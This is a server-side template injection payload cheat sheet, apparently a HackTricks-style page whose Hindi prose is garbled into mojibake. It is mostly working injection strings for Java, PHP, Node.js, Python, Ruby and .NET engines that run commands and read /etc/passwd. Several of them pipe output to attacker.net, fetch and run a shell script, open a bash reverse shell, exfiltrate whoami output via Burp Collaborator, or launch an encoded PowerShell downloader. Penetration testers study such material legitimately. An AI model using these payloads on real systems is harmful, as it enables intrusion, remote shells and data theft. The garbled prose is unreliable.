Jinjava рдПрдХ рдУрдкрди рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИ рдЬрд┐рд╕реЗ Hubspot рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ https://github.com/HubSpot/jinjava/ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред

Jinjava - рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди

https://github.com/HubSpot/jinjava/pull/230 рджреНрд╡рд╛рд░рд╛ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Hubspot - HuBL (Java)

  • {% %} рдХрдерди рд╕реАрдорд╛рдВрдХрдХ
  • {{ }} рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рд╕реАрдорд╛рдВрдХрдХ
  • {# #} рдЯрд┐рдкреНрдкрдгреА рд╕реАрдорд╛рдВрдХрдХ
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ рдФрд░ Jinjava рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ Github рдкрд░ рдЦреЛрдЬреЗрдВред

java
{{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рд▓реИрдВрдЧреНрд╡реЗрдЬ - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) рдПрдХ рдореМрд▓рд┐рдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рд╕реНрддреБрддрд┐ рдкрд░рдд (рдЬреИрд╕реЗ рд╡реЗрдм рдкреГрд╖реНрда) рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдЬрд┐рдХ (рдЬреИрд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдмреАрди) рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рддреА рд╣реИ JavaEE рдореЗрдВред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ JavaEE рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдореБрдЦ JavaEE рддрдХрдиреАрдХреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • JavaServer Faces (JSF): JSF рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдШрдЯрдХреЛрдВ рдХреЛ рд╕рдВрдмрдВрдзрд┐рдд рдмреИрдХрдПрдВрдб рдбреЗрдЯрд╛ рдФрд░ рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
  • JavaServer Pages (JSP): JSP рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреГрд╖реНрда рддрддреНрд╡реЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрдЯрд╛ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
  • Contexts and Dependency Injection for Java EE (CDI): EL CDI рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡реЗрдм рдкрд░рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдмреАрди рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдмрд╛рддрдЪреАрдд рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХреА рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЕрдзрд┐рдХ рд╕рдВрдЧрдард┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд░рдЪрдирд╛ рдмрдирддреА рд╣реИред

EL рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░реНрд╕ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:

EL - Expression Language

рдЧреНрд░реВрд╡реА (Java)

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдмрдВрдзрдХ рдмрд╛рдпрдкрд╛рд╕ рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рд▓рд┐рдП рдЧрдП рд╣реИрдВред

java
//Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}}

Twig - рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╛рд░реВрдк

php
$output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) );

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Plates (PHP)

Plates рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯрд┐рдВрдЧ рдЗрдВрдЬрди рд╣реИ рдЬреЛ PHP рдХреЗ рд▓рд┐рдП рд╕реНрд╡рджреЗрд╢реА рд╣реИ, рдЬреЛ Twig рд╕реЗ рдкреНрд░реЗрд░рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, Twig рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЬреЛ рдПрдХ рдирдИ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ, Plates рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдореЗрдВ рд╕реНрд╡рджреЗрд╢реА PHP рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ PHP рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╕рд╣рдЬ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

Controller:

php
// Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']);

рдкреГрд╖реНрда рдЯреЗрдореНрдкрд▓реЗрдЯ:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?> <h1>User Profile</h1> <p>Hello, <?=$this->e($name)?></p>

рд▓реЗрдЖрдЙрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ:

html
<html> <head> <title><?=$this->e($title)?></title> </head> <body> <?=$this->section('content')?> </body> </html>

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

PHPlib рдФрд░ HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ Pear рдкрд░ рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

authors.tpl

html
<html> <head> <title>{PAGE_TITLE}</title> </head> <body> <table> <caption> Authors </caption> <thead> <tr> <th>Name</th> <th>Email</th> </tr> </thead> <tfoot> <tr> <td colspan="2">{NUM_AUTHORS}</td> </tr> </tfoot> <tbody> <!-- BEGIN authorline --> <tr> <td>{AUTHOR_NAME}</td> <td>{AUTHOR_EMAIL}</td> </tr> <!-- END authorline --> </tbody> </table> </body> </html>

authors.php

php
<?php //we want to display this author list $authors = array( 'Christian Weiske' => 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?>

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдиреНрдп PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

рдЬреЗрдб (NodeJS)

javascript
- var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

patTemplate (PHP)

patTemplate рдПрдХ рдЧреИрд░-рд╕рдВрдХрд▓рди PHP рдЯреЗрдореНрдкрд▓реЗрдЯрд┐рдВрдЧ рдЗрдВрдЬрди рд╣реИ, рдЬреЛ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XML рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ

xml
<patTemplate:tmpl name="page"> This is the main page. <patTemplate:tmpl name="foo"> It contains another template. </patTemplate:tmpl> <patTemplate:tmpl name="hello"> Hello {NAME}.<br/> </patTemplate:tmpl> </patTemplate:tmpl>

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Handlebars (NodeJS)

рдкрде рдпрд╛рддреНрд░рд╛ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = рддреНрд░реБрдЯрд┐
  • ${7*7} = ${7*7}
  • рдХреБрдЫ рдирд╣реАрдВ
java
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

JsRender (NodeJS)

рдЯреЗрдореНрдкрд▓реЗрдЯрд╡рд┐рд╡рд░рдг
рдЖрдЙрдЯрдкреБрдЯ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рд░реЗрдВрдбрд░ рдХрд░реЗрдВ
рдПрдЪрдЯреАрдПрдордПрд▓ рдПрдиреНрдХреЛрдбреЗрдб рдЖрдЙрдЯрдкреБрдЯ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рд░реЗрдВрдбрд░ рдХрд░реЗрдВ
рдЯрд┐рдкреНрдкрдгреА
рдФрд░рдХреЛрдб рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо)
  • = 49

рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

рдЙрджрд╛рд╣рд░рдг рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░реЗрдВрдбрд░

javascript
var pugjs = require("pug") home = pugjs.render(injected_page)

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = рдХреЛрдИ рдЖрдЙрдЯрдкреБрдЯ рдирд╣реАрдВ
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = рддреНрд░реБрдЯрд┐
javascript
{ { range.constructor( "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" )() } } { { range.constructor( "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')" )() } }

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдиреНрдп NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдиреНрдп рд░реВрдмреА

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

рдкрд╛рдпрдерди

рд╕рдВрджрд░реНрдн рдореЗрдВ рдЕрд░реНрдерд╛рддреН рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрди рдмрд╛рдпрдкрд╛рд╕рд┐рдВрдЧ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЯреНрд░рд┐рдХреНрд╕ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:

Bypass Python sandboxes

рдЯреЙрд░реНрдиреЗрдбреЛ (рдкрд╛рдпрдерди)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Jinja2 (Python)

рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ

Jinja2 Python рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╡рд╛рд▓рд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рд╣реИред рдЗрд╕рдореЗрдВ рдкреВрд░реНрдг рдпреВрдирд┐рдХреЛрдб рд╕рдорд░реНрдерди, рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдПрдХреАрдХреГрдд рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдирд┐рд╖реНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг, рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдФрд░ BSD рд▓рд╛рдЗрд╕реЗрдВрд╕ рдкреНрд░рд╛рдкреНрдд рд╣реИред

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777

Jinja2 - рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╛рд░реВрдк

python
{% raw %} {% extends "layout.html" %} {% block body %} <ul> {% for user in users %} <li><a href="{{ user.url }}">{{ user.username }}</a></li> {% endfor %} </ul> {% endblock %} {% endraw %}

RCE рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рд╣реИ __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА:

Jinja2 SSTI

рдЕрдиреНрдп рдкреЗрд▓реЛрдб https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 рдореЗрдВ

Mako (Python)

python
<% import os x=os.popen('id').read() %> ${x}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдиреНрдп рдкрд╛рдпрдерди

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рд░реНрд╡рд░ рдкрд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдПрдХ рд╡реЗрдмрд╢реЗрд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк https://github.com/cnotin/RazorVulnerableApp рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░ рд╡реЗрдм рдРрдк рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = рдХреБрдЫ рдирд╣реАрдВ
  • <%= response.write(date()) %> = <Date>
xml
